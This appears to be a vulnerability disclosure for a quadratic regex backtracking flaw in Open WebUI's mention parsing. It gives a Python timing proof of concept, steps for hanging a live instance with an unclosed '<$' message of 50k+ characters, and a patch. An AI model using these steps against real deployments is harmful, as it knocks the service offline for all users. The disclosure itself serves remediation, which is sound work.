[^|>] is a subset of [^>], so the quantifier pair [^|>]+ \|? [^>]* is ambiguous: on input that never closes with >, [^|>]+ greedily consumes the tail, > fails, and the engine backtracks through every split point between [^|>]+ and [^>]* — O(n) positions each doing O(n) work. Polynomial, not exponential, but more than enough to hang a single worker on a ~100 KB input.
Proof of concept
Standalone (no Open WebUI required):
import re, time
EXTRACT = re.compile(r'<\$([^|>]+)\|?[^>]*>')
STRIP = re.compile(r'<\$[^|>]+\|?([^>]*)>')
for n in (8_000, 16_000, 32_000, 64_000):
s = '<$' + ('a' * n)
for name, rx in (('extract', EXTRACT), ('strip', STRIP)):
t = time.perf_counter(); rx.search(s)
print(f'n={n:>6} {name:>7} = {(time.perf_counter()-t)*1000:8.1f} ms')
Time quadruples per doubling of n (textbook O(n²)); the strip pattern runs for ~6 seconds on a 64k blob and for minutes on a ~96 KB one.
End-to-end against a live instance (default config):
docker run ghcr.io/open-webui/open-webui:v0.9.6 on defaults.
Log in as any user (no admin or skill setup).
Send a chat message containing <$ followed by 50k+ characters with no >.
One CPU core pegs in re; UI and API stop responding for every user until the worker is killed.
Patch
Rewrite the optional |label as a non-capturing optional group so the two quantifiers no longer overlap. Both patterns become linear; captures and substituted output are unchanged on well-formed <$id|label>, <$id|>, and bare <$id> mentions.